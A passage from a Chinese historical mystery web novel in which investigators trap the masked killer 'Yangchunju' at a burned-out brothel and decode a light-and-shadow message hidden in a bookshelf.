“周裕之那个畜生有很多怪癖,喜欢抓年轻的姑娘们去他的融玉阁,做各种匪夷所思之事……数十个姑娘被他玩弄鼓掌,边打边骂边……做那种事。他还会拉着很多无辜的伙计还有他的侍卫们一起加入这场游戏。不少姑娘就这样离奇失踪了。我与雏菊在楼中的资历老些,先前还有外头的靠山,年纪也不合周裕之的喜好,这才幸免于难。鸨娘妈妈们心里其实都清楚,但一直故意隐瞒,是怕得罪了这尊大爷。” “方听司直一说,才知道那些姑娘们果然是都死了。” 她神色难堪,目光旋即扫到雏菊身上,好似在寻求帮助。 “你们后来离开芳樱楼,也一直将这个秘密保守在心中?” 魏裕春问道。 见也是个年轻的女子,玫瑰的顾虑心小了许多,她道:“好不容易逃出来了,怎么可能还想招惹是非?谁不知道当今圣人最忌讳的东西就是违逆人伦?周裕之的秘密放出去,就是触了周尚书的逆鳞,会对我们赶尽杀绝的。” “有理。”不知何时,章念已经抄笔记录了起来,此时他正停笔说道。 “嗯,”陶明案又道,“尸坑里头还有一具年方十来岁的幼女,你们可还有印象?” “什么?!”不爱多言的雏菊大受打击,“怎么会?!” 玫瑰也瞪大眸子:“周裕之就是个畜生!这么小的孩子他也……!!!” 说罢,她又补道:“不过陶司直,你们也莫要打听这个孩子是何人了。芳樱楼何其大也,鸨娘每年都会从老板那处接来至少二十来个孤女,生得漂亮的就当女倌培养,生得不行的则当丫鬟养。楼中少则二十位鸨娘,每个鸨娘都有自己负责养大的女孩儿,我和雏菊至今都没认全自家鸨娘手底下的姐妹,更不提去记楼里有多少年纪小的姑娘。” 陶明案顿住,在玫瑰以为他要开始犯难的时候,他却气定神闲地说道:“嗯。没关系,那个姑娘的身份我们已经查出来了。” 兰花公子听着这些既血腥又悲惨的故事,浑身发抖,摩梭起身上那件骚红色的长衫,即便如此,他还不忘和关阇彦抛媚眼。 眼看兰花要凑过来,关阇彦皱眉呵斥:“身上长跳蚤了?搔个什么劲儿?!” 兰花:“嘤嘤嘤,小哥哥的嘴巴好生厉害~” 目睹这一切的四人:“……” 雏菊和玫瑰问道:“是何人?” “杜宅账房先生刘春盛的小女儿,早年父亲赌钱,便将此女卖了出去,应是生得不错,所以被芳樱楼收留了下来,可惜死得凄惨。” 陶明案游刃有余,他说话间,目光还在那三个□□伙计身上逡巡,他在观察他们的反应。 “此女,是芳樱楼真正凶手的亲妹妹。凶手也是刘翁的大儿子。此子为妹妹复仇,非法购入洞市龙骨香,手刃生父,迷乱周裕之神智,在杀死李乾后故意将斧子塞入周手,让外人以为周才是罪魁祸首。” 雏菊和玫瑰陷入沉默。 关阇彦看向兰花,忍着恶气,问他:“你如今多大。” 兰花心花怒放,他掐着兰花指,捂嘴笑道:“哥哥~人家年方二十了。” “进芳樱楼多久了。” “十五年了呢!” 寺庙典座五年前卖子,那时刘春盛之子大概十五岁,算来,也是二十岁,但兰花十五年前便在楼中了,时间根本对不上。 吴言和阿卟一个十六一个十五……就更对不上了。 但关阇彦还是问了他们,看起来好似是个没问找问的环节。 吴言乖乖回答:“六年前,十岁时入了行。” 在吴言的拉扯下,一直藏在他身后胆小如鼠的阿卟吓得抬了一下眼睛后又立马垂下去,支支吾吾:“五年前……也是十岁。” 旁人未来得及看到什么,心思细致的魏郁春却看到了阿卟方才闪躲的目光,那眼神……深沉得有些可怕,是那种心智成熟的表现,这可跟他外表的单纯气质截然不同……他真的只是个十五岁的孩子? 还是说,她方才看错了? 此时阿卟好似敏锐地捕捉到了魏郁春正在打量他的目光,他猛地抬起脑袋,深沉的眸子不见踪影,倒是单纯得像琥珀。 魏郁春看得清楚,纠结之下,她劝说自己,方才看到的其实都是错觉罢了。 阿卟埋回了头,像是察觉到了魏郁春对他放下了警惕心一般。 陶明案道:“尸坑里的女尸虽被全部清理了出来,安置在了大理寺的停尸处,因身份模糊,所以久久无人认领。但幼女身份已被识破,我便命人从大理寺处带了回来,傍晚时你们便会亲眼看到有人将其抬过来,正置楼中。凶手若不在乎妹妹便不可能为其复仇至此,其喜欢夜间出行,我们便等候其过来认领妹妹尸体,若是他不来,也没关系,我会立马替他亲手将尸体焚烧,他定是不希望自己心爱的妹妹死在这处困死她的牢笼里。” 最后一句话令人毛骨悚然,好似是单单对藏匿在人群里的凶手所说。并且他向来雷厉风行,说到做到。 “所以,我会安排你们留宿在此一夜。关兄助阵,在重梅轩内设置了千锁阵,任何风吹草动皆会引起摇铃晃动。若是五人当中无凶手,阵不动,尸体也不会有人触碰。若凶手在外,诸位也莫要害怕,我们会护得你们周全。” 有了陶明案这句保证,一直不肯松懈的雏菊和玫瑰互相对视了一眼,勉强笑了笑,好似在互相安抚。 语罢,五个人便在四个人的带领下,入住重梅轩,屋子的损毁程度不一,有需要者自己领来工具去打扫屋子。大概一个时辰后,大理寺的武夫果然抬着一方棺材到了芳樱楼,其余人留在原地看守幸存者,陶明案和章念前去接应。 那些武夫虽然理应为他办事,但一个个趾高气扬,还是那副瞧不起二人的模样,对陶明案这种无用的努力嗤之以鼻,还怕跟此人交涉过度,惹了旁人也对他们敬而远之——要知道,如今大理寺内,人人视二人为瘟神,笑话他们的不自量力。 殊不知,在他们的嘲笑和孤立中,芳樱楼案将要破解。 武夫们见着了人,毫不客气地把棺材丢下,还勒索了陶明案工钱,之后洋洋洒洒地离去了,把章念气得差点要爆炸。 陶明案木然站在门前,眼神有些落寞,无人理解他时的孤独,他体会了不知多少遍了。 可章念在侧,还遇上了关阇彦还有魏郁春等志同道合之人,他只觉得这种落寞感失去了太多杀伤力。 他目光清朗,居然显得有些没心没肺,他的心性向来如此至纯至善,百折不挠。 之后,关阇彦问询过来,一起帮忙,一行人把棺材抬进了空荡的楼后院子。为了防止凶手阳春菊靠近作怪,他们拉开了棺材和重梅轩的距离,但为了观测情况,他们在棺材上也挂了铃铛,牵引了重梅轩的阵法,一旦有人触碰棺材,重梅轩也会起反应。 暮色已至,所有人都进入自己的屋子,要求闭门不出,陶明案将屋子留给章念,他出来守夜,见状,关阇彦也出屋主动要求一起守夜,以免陶明案一人应付不来。 二人明里暗里互相针对,先前还斗嘴不已,但到了晚上,他们二人却重归于好,共同应敌。 他们每人抱剑,各立在重梅轩入口的两侧,等了快三个时辰了,整座芳樱楼却还沉溺于死寂。他们二人闭眸调整状态,可就在将至后半夜的时候,系在轩内一间屋上的铃铛响起来了。然后,整个重梅轩的铃铛也开始一个皆一个地骚动起来。 “他真的来了。” 125. 拨灯寻菊(1) 铃铛声是从轩内部响起来的。 阳春菊果然就是五个人里的其中一个! 关阇彦厉色睁眸,对应的屋子刚好靠近他所站的那一处,他提剑往屋子刺去,陶明案也毫不懈怠地追了过去。 黑灯瞎火,关阇彦先顾着抓人,完全没想到这个屋子住着的人该会是谁。所以当他踹开屋子时,发现其中的人是阿卟时,整个人活似被高人点了穴。 阿卟此时的确是醒着的,他身下铺了只垫子,他现在盘腿坐在垫子上,背对着门,也背对着关阇彦与陶明案的方向。他背脊弯曲,好似是抱着膝盖的模样,他听到轰轰烈烈的踹门声却还是无动于衷,他两只手在看不到的地方窸窸簌簌着,不知在捣鼓什么东西。 他白天胆小如鼠,现在却如此淡然自洽,岂不惹人怀疑?! 关阇彦呵斥:“转过身来!” 陶明案皱着眉头,好似还不愿相信:“你是阳春菊?” 阿卟闻言,手里头的动作停顿了几刻,可他还是不闻不问地继续做着手中的东西。 等关阇彦忍无可忍的时候,他被人抓着背脊往后拽了个幅度。 阿卟甚是无辜地看着两个居高临下的人,他模样娇小,长得也可人,说起话来软糯,若不是个男音,只怕真会被人误会成是个小丫头:“二位大人这是在做什么?” 关阇彦冷笑,他声音冷若寒潭:“是在明知故问?” 陶明案提醒道:“他手里抓了东西,务必小心。” 阿卟听到有人提及他怀里的东西,他嘻嘻笑起来,微弱的月光透过漏窗扑打在他半边脸上,那只笑容好似只存在于有光的一面,另一面隐没于黑暗,唇角似乎向下弯着,一副哭相。一人双面,一笑一哭,这是一种骇人的感觉,让人浑身不舒服……就连关阇彦都忍不住皱眉抵触了起来。 阿卟小声提醒道:“这位大人,您先松手。” 关阇彦刚好没有再抓这个瘆人东西的打算,他依言松手。 阿卟得了空,便捧出怀里的东西,那竟是一盏小巧的灯笼,圆滚滚的。阿卟从怀里拿出一只火折子,吹出火来,点燃了灯芯,可爱的灯笼旋即在他的掌心闪亮起来。漆黑一片的环境被照出一只光圈,把他整个人包围在期间,此时,关阇彦和陶明案好似都看到了阿卟眼底含着的一丝泪光,真是可怜极了。 他脚边还有一些散落成渣的竹屑,和两把削竹片的锉刀。他方才捣鼓来捣鼓去,竟是在做灯笼。 他手心的灯笼在无人控制的情况下,居然兀自转动了起来,甚是奇异,灯芯外好似还做了什么隐形的图案,统共两三层,他们各自旋转着,转到特定的点便会在地面上投影出图案,图案渐渐从无影变得灵动起来,渐渐被拉长后,又渐渐被收短。 应是时间匆忙,灯笼还不够精细,所以那些图案有些潦草,看起来像是花又像是草……看着这一切,关阇彦想起来被自己搁置许久的杜宅账房之谜。 书架上挪动的书册,空出来的对应光芒的地方,在光影交错间,可以在地面上投射出各种图形。那时,他就总觉得那些光束打在书架上,在地面上的投射像极了一只扭曲了的字。 难怪刘翁会特意挪动书册,他是为了制造这些能倒映字形的机会! 自书架后的窗打入的阳光就像是花灯灯芯内部的烛火,依靠挪动书册而制成的空格,就像灯芯外部包裹的三层有着图案的灯纸,倒映到地面的东西就像是现在花灯照出来的花草影像!这一切原理相通! 阿卟的做法怎么可能和刘翁如此相像?!除非他就是那个窃取账本的帮凶! 陶明案见他盯着花灯不放,像是魇住了,他唤道:“你在做什么?” 被陶明案唤回神的关阇彦已经将阿卟当作了阳春菊。他语气森然:“说,你到底是不是刘翁之子?!你叫什么名字?!” 阿卟无辜起来,他看起来像是要哭了:“大人,我……我叫阿卟,不认识什么刘翁。” “撒谎!若不然你怎会在深夜做灯?灯中照影的把戏我早在杜宅时就看穿了!你还在狡辩什么?!”关阇彦疾言厉色不已,声波扰动了摇铃,群铃闻风而动。 此时,整个重梅轩已被一阵又一阵的声音全然吵醒。剩余的四个幸存者,还有章念与魏郁春都赶了过来,他们围在屋外,看着里头关阇彦和陶明案正对着阿卟发难。 章念跟魏郁春小声道:“这么快就抓到阳春菊了?!” 魏郁春抬手在唇边,示意他稍安勿躁。 阿卟的好朋友吴言赶忙跑出来,为阿卟辩解道:“大人,阿卟的确有个嗜好,喜欢在半夜做灯把玩,从前日日夜夜皆是如此!” “做灯便做灯,为何会触发摇铃?” 陶明案不苟言笑道。 吴言急得那双豆子言差点被挤得瞪出来,他拉着阿卟,问道:“阿卟,你怎么碰到摇铃了?!” “我……我,”阿卟抬手,指了指身前那只没了窗纸的漏窗,小声道,“我不知道窗上挂了铃铛,方才见窗外有一朵花飞过,想要去看看,却不想碰到了机关。” “花?” 章念匪夷所思,窃语道:“该不会是……阳春菊吧?” 陶明案还在沉思,吴言又闹起来:“阿卟这么胆小,他怎么可能是凶手啊!大人们明鉴!明鉴!” 阿卟瑟瑟发抖地抱着腿,像个淋了雨的小鸡仔,的确跟阳春菊那个喜欢咯咯咯男腔女调疯笑的杀人狂魔形象挂不上钩。关阇彦也很清楚这件事,可他不是没有见过方才阿卟对他的呵斥毫无反应、极度冷漠的样子,现在他又柔柔弱弱着,和方才比,判若两人。他又仔细端摩了阿卟的面容,在他怀中灯光的照射下,他两半脸都从黑暗处露出来,哪里有一面是笑一面是哭的错觉再传来。 所以,关阇彦也沉默了,甚至是迷茫了。 魏郁春从人群里站出来,她问阿卟:“你为何要在晚上制灯?” 阿卟眼巴巴望着她,说不出话,最后还是吴言充当了他的嘴巴:“阿卟从小怕黑,因为长得好看,被人关进黑屋里恶意折磨调教过,至今都有阴影!那时无灯烛分配给他,所以他便学着做灯,每天晚上被吓醒了就做……做了便疯魔,容易意识不清醒,大人们勿怪!” 这段话无疑会挑起众人的同情心。魏郁春也不例外,她缓缓呼出了一口气,既是无力也是无奈:“抱歉。” 陶明案说道:“我还有一问,凶手今年槐夏四月半用于洞市兑换龙骨香的财物里有一样松脂,而芳樱楼大火刚巧就在四月,可以理解为是凶手在楼火大起后才趁虚窃走了财物。而杜宅刘翁自半年前开始使用书架传信,装账本箱底的名贵松脂又从而何而来?所以,凶手并非等楼火后才偷走了松脂,而可能是在半年前就通过手段得到了松脂。若是楼内人士,这等名贵物件的交换必然会留下记录。阿卟,你可愿意将这么多年来在楼中交易留账的记录给我们看?” 楼中人这种记录从不离身,所有包括阿卟在内的幸存者虽然都离开了芳樱楼,但习惯还还是没改掉,每个人都将这种纸张藏在身上。阿卟的藏在了他腰间的一只简陋荷包里头。 陶明案接过阿卟递来的已经展开铺平的纸张,楼中人每年一张纸,旧纸交给老板抑或是鸨娘收录,新纸则留在身上继续记录私账。阿卟的这张显然刚好是从去年五月到今年五月的内容。 半年的时间恰好容纳其中。 陶明案仔细查阅,查无松脂一物,他叹息摇头。 吴言见状自个人捏了一把汗,甚至还自告奋勇地把自己的私人留账拿出来送给人看。陶明案的思路也是方冒出来,事已至此,其他人为了自证也纷纷效仿起吴言。 魏郁春、章念、陶明案还有关阇彦每个人都看了一页,皆是毫无所获。 难道……他们真的料错?!阳春菊另有其人?! 此时,大家的目光在不知不觉间都看向了关阇彦,好似都在质问他为何要无故怀疑一个可怜的孩子。他被这些目光盯得无措片刻,旋即将剑收回剑鞘,无声立在暗处。但他真的还是放心不下来,也根本开不了口说什么抱歉误伤之类的话。 章念惴惴不安,他忍不住问了阿卟:“小孩儿,你不是说看到了花吗?是不是那种黄黄的,小小一只,经常一簇一簇出现的花?” 他形容的就是阳春菊。 阿卟:“是的。” 众人:“!!!” 话音方落。不知哪里来的妖风起来了,重梅轩内的铃铛微微摇曳起来,声音越来越明晰,与此同时,牵动轩内的摇铃正源自盛放女尸骨的棺椁! 是阳春菊!!! 诡异的小声沿着风的方向抵达轩中人的耳朵,猖狂至极,这声音好似又被什么做过了手脚,旷远至极,声线被拉得极远,搞得人完全分不清声音从何方向而来! “呵呵呵呵……” “桀桀桀桀……” “咯咯咯咯……” 声音甚至还忽远忽近,但不管怎么听,都是一股耐人寻味的笑意,笑意里混合着讥诮和近似破音的狂妄,仔细听,甚至还有一种铁具生锈后互相摩擦时拧巴刺耳的动静。 屋子还敞着,甚至兰花、雏菊和玫瑰三花等人还站在外头。他们忽地觉得背后一凉,旋即看到章念抱着陶明案的手臂,疯狂大叫:“卧槽啊!!!” 章念手指着门外,颤抖不已,对应的方向刚好还是兰花公子站着的地方。 “你身后有东西!你身后有东西啊卧槽啊啊啊!!!” 兰花大惊,不过微微撇头,就看见一个浑身带纱的白影妖娆地捻着一朵花,在他的耳边挠来挠去,边挠还边笑。 “啊……啊啊啊啊啊!!!关哥哥救我!!!” 说罢,他两只手臂跟被人打折了一般开始拐来拐去,两个腿也神经病似地蹬起来,仿佛一蹬就能踢到自己的屁股蹲,他就这样捻起兰花指一边叫,一边妖娆地扭着腰肢和屁股跑着要往关阇彦身上扑。脸上的神色比起恐惧,倒更像是幸灾乐祸……他甚至还撅着嘴唇。 章念又是一惊,口中不再嚷嚷什么有鬼没鬼的,而是放肆地吐了起来,这次是真吐,章念只觉得自己的胆汁都要吐了出来。 魏郁春没眼看般撇了脑袋,心想这东西貌似比鬼还吓人。 章念口中的白影移动极快,等其他人反应过来的时候,就只看到了一只若影若现的残影。 关阇彦戒备起来,他喝道:“所有人都进屋子!快!” 雏菊和玫瑰跌跌撞撞踩入屋子,门被赶紧关好。可惜屋内的窗子暂时无法被修补,众人被萦绕在身侧的鬼魅笑声吓得提心吊胆。那些鬼影不止一个!阳春菊现身必带灯偶,还不止一个!于是,有人现在一侧角落看到了一只头戴阳春菊花冠的大头娃娃,后又在另一侧看到一只披着红色衣裳的四脚王八…… 章念头一次见这阵仗,吓得浑身发抖,不知不觉间竟然跟同样被吓得丢魂儿的兰花公子紧紧抱在了一起。雏菊和玫瑰则手拉手,互相照应。魏郁春被四个人围在中间,看似镇定实则脸上已冒了冷汗。 关阇彦知道阳春菊是冲他妹妹尸体来的,所以这些吓人的阵仗多半都是做给他们看的,真正的他说不定已经到了棺材那边,将他妹妹的尸体带走了。 他又瞥了一眼此时软了身子,瘫坐在地的阿卟,他木然不已,好似已经没了魂。 阿卟还在这里。阳春菊则早在外头作乱了。真的不是他! 他咬咬牙:“陶司直留在此地保护他们。我去会会那家伙。” 陶明案还没来得及回应他,他就已经躲窗而去了,相当洒脱。 第二次交手那些装神弄鬼的东西,关阇彦显然更有把握了,他将那些一直在故意阻拦他的灯偶一一抓下撕碎,忽听前方一阵爆声,他循声过去,却还是为时已晚。棺材竟被一块大石硬生生砸地粉碎,翻看一番,里面包裹零碎尸骨的包袱早已不知所踪。 此时,东方爆发出雷鸣般的嚎叫声,那声音很是熟悉——竟然是杜明堂?! 是了,他差点又忘记杜明堂还在此地了! 杜明堂只记得早上贪睡,莫名在岸边晕过去,此时醒来是因为他听到了一阵极大的呼呼声在身侧不远处搅动,他晕乎乎睁眼,发现天居然变得黢黑,肚子还分外饿!他感觉到身边弥漫着诡异又熟悉的味道——龙骨香?!所以,他之所以能晕过去这么久,是被龙骨香迷晕了?! 他张望四周,却突然感觉目光上方有什么东西正在盯他,他抬眼,谁知道居然是个戴了花冠、打了红扑扑腮红,长着樱桃嘴的煞白脸人偶?!那人偶笑看他片刻又被一阵风鼓到不知哪里去了。 另外,他方才听到的呼呼声原来是一种类似于风声的笑声!伴随着那一阵阵叫人毛骨悚然的狞笑声,杜明堂看着人偶的双眼越来越迷糊,他大喊一声“救命”,旋即又被吓晕了过去。 关阇彦找到了他,察觉到周身龙骨香浓厚的气息后,他捂住鼻子,自知不好久待,便匆忙把怎么叫都叫不醒的杜明堂背了回去。回去后,屋子里的人都还在,而那些围着 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杜明堂还是老样子,他被龙骨香影响至深,无法自然醒来,只好先将其送回杜宅,让宅子里的老神医为其医治。其余四个人还留在楼中。昨夜阳春菊的现身让大家措手不及,他们不得不重新思量其身份。 然而在楼中烛台做手脚引火这件事除了内部人士,还能有其他人吗?谁能这么熟悉楼中构造?又能将那定制的器具带入楼中?即便能带进来一次,也不可能次次带得进来。 另外,阳春菊昨晚的现身也很离奇,他既然不是幸存者其中之一,又是怎么做到立马赶到现场夺走尸体的?! 是谁给他放的风?! 离奇的就在于,此人到底是怎么做到既能完美打探楼内消息,又能突然把自己摘得跟樱楼毫无关系的? 除非,纵火的事还真不是他干的,难不成他还有其他利用的帮凶——比如刘翁、周裕之、关昀洲之类,具有可被利用的软肋的这些人?! 抱着这个念头,他们打算再次深入那摇摇欲坠的主楼。 同时,有了阿卟做灯一事,关阇彦心中警铃大作,已经将注意力再度放回刘翁用来对接阳春菊的杜宅书架的排布上。如果进一步调查,说不定能勘破账本下落的秘密。 两件事都耽搁不得,所以四个人不得不拆分成两队,由于陶明案和章念身份的特殊性,需要他们记载相关的案件细节,所以两人分别归到两队里去。关阇彦积极得很,他甚至是笑着拉陶明案入伙的,说芳樱楼的事更危险,两个有功夫的办事才放心。 然后又称魏郁春在解密这方向颇有天赋,便把她和章念一同摘去了杜宅的账房。 他看似是为大局着想,其实还是担心陶明案要去招惹魏郁春——他这几天那双眼睛一刻都不肯从陶明案身上挪去,唯恐出岔子。 事情就这样定好了。 陶明案和关阇彦留在芳樱楼继续调查,而章念和魏郁春出发随来接送杜明堂回府的车队一起离开。 楼中,这次换陶明案上楼,关阇彦在楼下接应。 二楼巡查完毕,又去三楼排查,发现了一丝与众不同的线索,二楼四面八方都被凿墙而过的铁线衔接起来,拉动后整片二楼都会顷刻燃起大火。 而三楼则不同,唯有在主楼四根天柱靠近的那间屋子里才会发现有被做过手脚的痕迹,并且不似二楼那般横向延申出去,而是从楼下对应的屋子垂直探上去的。 依照这个规律,可知上层建筑也应跟三楼的情况一致,所以不难知道凶手的动机。 为了最快毁掉这栋楼,首先就要击碎其最脆弱的地方,譬如底层楼,还有支撑整栋楼的称重架,也就是四根天柱。然而,最低层楼是大厅,人迹最多,最难动手,凶手便只好退而求其次,选择布满客房、封闭性更好的二楼。 “难怪二楼塌陷程度最厉害……”陶明案喃喃自语。 关阇彦抱胸在楼下看着陶明案站在三楼边缘仰头上看,久久不肯醒神的模样,他怕其又想不要命般往上爬。他唤道:“别上去了,楼会塌!” 陶明案却突然说道,那张静若止水的面孔竟突然有些神采飞扬的韵味,他每次冒险探线索时都会这么兴奋,他道:“关兄,可否上来赌一把?” “哦?”关阇彦一听“赌”字,当然是来了兴致,“陶司直要赌什么?” “赌这栋楼什么时候塌。” 关阇彦虽不解他到底要做什么,但知道对方是要他上来的意思。陶明案等他上来到三楼,脚底下的砖块好似已经开始松动,二人只好勉强保持距离,以免脚下区域压力过大。 三楼以上便是被掀翻了屋顶的地方,此时天井的大小已同在底层看到的模样完全不同,它硕大无比,好似天人掉下的玉盘,眺望出去,甚至还能瞥见远处缓缓而升的旭日。 陶明案解释道:“我猜凿洞的作案工具还在楼中,凶手不是内部人,是没办法屡次将器具来回带进带出的。我方才发现二楼三楼凡是被动过手脚的屋子,地板貌似也有过松动的痕迹,他可能一直把那个东西藏在这种地方。即便他的工具多么精巧,也不可能在有人住着的屋子凿来凿去。所以凶手可能一直伪装成客人,反复住进楼中,在住着的屋子里凿洞,装置烛台,直到把自己需要动手脚的屋子住完。” “将这些屋子全部住完,少则两个月的时间。” 关阇彦皱眉,显然他觉得这是不可理喻的事,时间和金钱的成本都太高了。 殊不知他所顾虑的东西却是陶明案深信不疑的重中之重,他道:“楼火起于四月,所以凶手最迟也要在二月份实施纵火计划。” 关阇彦敏锐察觉到关键处:“春闱。” 陶明案清楚阳春菊喜好借刀杀人的特点,所以应该是默认纵火的凶手不是他了,但他没有证据证明,只好觉得是周家在春闱上得罪的人企图报复周裕之。 然而关昀洲很快否认:“周家买官卖官之事是楼火后被李家捅出来的,二月份春闱刚结束,怎么可能有人提前知道?陶司直对此事太敏感了。” 陶明案默住,他只好另道:“如今还有四楼未搜,然楼梯尽塌,烦请关兄来此帮忙扶稳柱子。” 关阇彦笑起来:“你不是说要赌这楼什么时候塌么?来都来了,不如一起上去好了。” “阁下还真是什么事都乐意较劲。” “哎,陶司直你也是不差的。” 126. 拨灯寻菊(2) 魏郁春与章念所组的解密组回到杜宅,杜夫人看到心爱的儿子晕得不省人事,慌里慌张地跟着抬人的下人们一起去了里屋。杜老爷望着妻子和儿子离去的方向忧心仲仲,他很快调整回状态,一边领着魏章二人,一边仔细交代账房的情况。 魏郁春接受信息的速度很快,她复将芳樱楼那边的新发现说给杜咏听,惹得一旁握笔记录的章念一阵哭叫:“我的好姐姐,你说慢些,我跟不上了!” 此时,杜咏已经豁然开朗:“所以,刘春盛是靠挪动书的位置,用光影投射信息给外人的?” 魏郁春颔首。 杜咏大为惊叹:“好哇好哇,这刘春盛一口一口记性不好、愧疚的,脑子倒是好使!这种法子都能使得出来!” 三人已经走到了账房门前,杜咏抽出钥匙将封门的锁启开,扑鼻的灰尘从中爆出来,在初晨的阳光下闪烁着扑朔迷离的光泽。又是许久没有来了,屋子里竟又堆了更多的灰。 魏郁春抽袖捂鼻,想要睁眼,但实在是被灰尘骚扰地不堪其扰。 她道:“我想查探刘翁半年来一直在传递什么样的消息,他又是怎么足不出户便能帮外人将账本悄无声息地搬出去的。” 杜咏踏入门槛,实在是难为情地拿着扫帚已经将门前的灰尘扫了起来,他回道:“姑娘请进吧。” 魏郁春第一次踏足此地,对这里的布局还是陌生无比,只好一边听着杜咏的介绍,一边默默记下他们的特征。 杜咏看向屋子里最为醒目的存在,道:“这儿是存放书籍的架格,也是姑娘口中被刘翁当作传递信息的枢纽。” 他绕过架格,还有一排紧挨着北墙的大箱,每一只表面都覆了一层被岁月侵蚀的古朴暗纹,储物的箱前还挂了只硕大而笨重的铜锁。 他介绍:“此乃存放账本的箱子。箱底被贼人抹过松脂。” 他转过身去,看门处被外头阳光铺设过来的方向,沿着光向延申摆置的就是靠了东墙的几张靠椅,还有椅前曾为账房先生安排的长案,案上的杂物依旧,排布虽整齐,却被厚重的灰尘压得丢了书香净气,看起来脏兮兮的。 “这是账房先生用过的桌案。” 魏郁春了解情况后,便又将注意力全部放在了架格上,关阇彦说架格背后有窗,光自高窗倾斜而下,打落在架格上,阴影自留,而多余的光亮就能组成一只字形。 可惜的是,他没说是个啥样的字,她也没办法凭空想象出来它的模样,她左右将那些书籍的布局看了个遍,脑子却还是一片空白。 她又将目光挪到地面上。 章念发现他刚好踩在架格前的地,极怕搅乱了魏郁春的思维,赶忙像个猴儿一样蹦了出去,出去时还心惊肉跳着,还以为下一秒魏郁春就会道破天机。他对魏郁春的确存在些滤镜,多半是受陶明案的影响,毕竟他看得出来陶司直也对魏姑娘多有青睐。 魏郁春歪歪头,左边绕了个角不行就换到右边去,最后还不行甚至毫不顾形象地蹲了下去,依旧无果。她不得不摇头叹息。 章念骇然:“就连漂亮姐姐也解不开此谜?!” 魏郁春莫名看了他一眼,似是疑惑章念何时把她奉为了什么无所不能的天才。 她道:“应是光线的方向不对。屋子朝南而开,晨光在前又在东,只有少许的光能从后窗流进来,影子不清晰。但关阇彦却在上次亲眼看到险些成型的字,和我的情况完全不同。” 杜咏不免叹息:“还要再等吗?” 他等一个结果已经耗费了太多心力,调查处处受阻。现在就连阳光都不配合,也不知道要等到什么时候才能还原书架形成的字形。看起来简直是遥遥无期的事。他泄气的同时何尝不是在怨天尤人? “办法总比困难多,”魏郁春安抚道,她迅速扫视了整座屋子的情况,任何角落都没放过,她眸光瞬亮,嘴角的笑意也显得珍惜而明媚,真是当之无愧的美人,“有了!” “杜老爷家中可有遮光强的布匹,越阔越好?” 杜咏拍掌:“这有何难,姑娘要多少便给多少!” “拿黑布把屋子所有透光的地方都遮起来,门、窗子,哪怕是蚂蚁洞也不要放过了。架格后窗上则挂上黑布帘子,以供人自下而上掀开。” “当然,还需要一只大些的上好铜镜。” 杜咏闻言片刻不耽搁,原理都来不及多问就出去吆喝下人备工具了。 魏郁春又喊章念:“章小兄弟身上可还有火折子?” “没有,我待会可以问杜老爷要。” “一只火折子怕是还不够……不如多拿些!” 章念麻利出去了,短小的马尾在脑后荡来荡去,的确像只年轻又莽撞的小马驹。 黑布有了,并且不过眨眼间,账房内外都被这种黑布糊住了,任何光亮都透不进来,唯有自后窗透出来的微弱光芒还在屋子的地面上保留着痕迹,环境一下子变得极度压抑。 此时,门已完全封闭住了,屋内只有魏郁春一人,章念和杜老爷都被送了出去,各司其职。 原来魏郁春这是打算自己制造光亮,通过黑幕遮光、铜镜聚光的方式,随意控制它们的走向。所以,她让章念去寻聚光性更强、又能握在手心里更安全的火折子。章念统共搜回来五支,为了保证光亮更强些,他拿了铁线穿过火折子的外筒,竟将它们整整齐齐地绑成了只大火炮。一只手握不住,两只手同时环抓才能勉强抓稳它。 章念个头不算高,为了够到后窗的顶端,下人们挨个给他砌脚下的砖,一层一层往上叠加,本以为差不多够着了,结果还是章念逞强在踮脚往上够,逞强便逞强了,还差点没踮稳,摔了个屁股蹲下去,模样不大好看。 围着他站着的男男女女们憋笑憋得脸通红,最后憋不住,哄笑一团。惹得屋里头的魏郁春还以为外面出了什么大事,结果打听一番,那里是什么大事,分明是大糗罢了! 在章念心目中,这些砖头每多往上砌一层,他的自尊心便会被削下一片。他痛心疾首,要是能有陶司直的个子,他可就不用受这等委屈了!可恶! 章念这个傻小子倒是让大家些许紧张的心情缓和了不少。他最后还是乖乖听话,任由脚底下的砖头越来越厚,直到他切实够到了合适的高度。章念准备就绪,就差吹亮火折子了。 章念身侧的则是已经站得如同钢板的、包括杜老爷在内的好几个抱着大铜镜的人,原本杜老爷就担心一只铜镜效果不好,竟然毫不犹豫下了血本,脸盆大的压箱雕金铜镜竟都被抱了出来给魏郁春助阵。铜镜们已经完美对应上了火折子的位置。 章念掀开了遮着后窗的黑帘子,整个人钻进去,靠上墙,对里面的乌漆嘛黑大叫一声:“漂亮姐姐!开始了!” “好。” 随着魏郁春一声令下。 章念果断吹动火折子筒,烘热的温度在他的脸上肆虐游走,有些呛,他赶忙将冒火的地方微微倾斜,对上了窗子的位置。 昏暗的屋内瞬间被一道突如其来的光芒照入,那些本就团抱一起的火光被铜镜聚地愈发具有穿透力,光线笔直如柱,扩散出去的大小刚好跟窗洞一致。一切都很顺心如意,魏郁春看着某只由不同线条组成的形状,仿佛要脱离地面而生。模样和状态都比先前清晰了不少。 但这还不够,魏郁春指挥着窗外的人:“诸位,将光线往东侧偏一些。” 光线调整下,形状随之动起来,光形成的字形好似就要露出它的庐山真面目,可不过一眨眼间,它便如同方从水面上跃出去的鱼儿一般瞬间落回归属地。 魏郁春的心几乎揪在了一起,她卯足劲:“再来,诸位,将光线慢慢往西侧挪动一些!” 偏偏就差那么一些,但因为她只是个传播指令的人,没办法全心全意指挥外面的人完美将她想要的角度调整出来,并且,火光终究是比不上阳光的,高度不够,光的透亮程度……都是不一样的。 在她几乎吹毛求疵的指令下,章念和杜老爷都是苦不堪言,可到底功夫不负有心人。 “停!”魏郁春立马叫停外面人的动作。 章念立马被吓得不敢动弹了,他举着火折子的手恨不得要抽筋,转眸一看砖下,杜夫人竟已不知何时到了杜老爷身侧,为搬着笨重铜镜的丈夫擦拭额汗。 杜咏也不禁狼狈感叹:“没想到这冯姑娘看着文文静静,做起事来是这般雷厉风行。不饶人呐不饶人!” 一时间,别人也听不出他这话是夸人还是骂人的。带点私心讲,包是都有些的。 屋内的魏郁春眸光透亮,地面上的字已经完美得连残影都几乎没有了,这是个左右侧翻过来写的“叁”字,字形复杂,加上它又是被反转过的模样,如果光影条件不到位,真是难以辨别出来的。 “叁”样的光字亦完美地倒映在了她的眸子里,再度翻转过来,终是恢复成了它原本的模样。 她喃喃:“为何独独是个叁字?” “是有什么特殊的含义吗?” 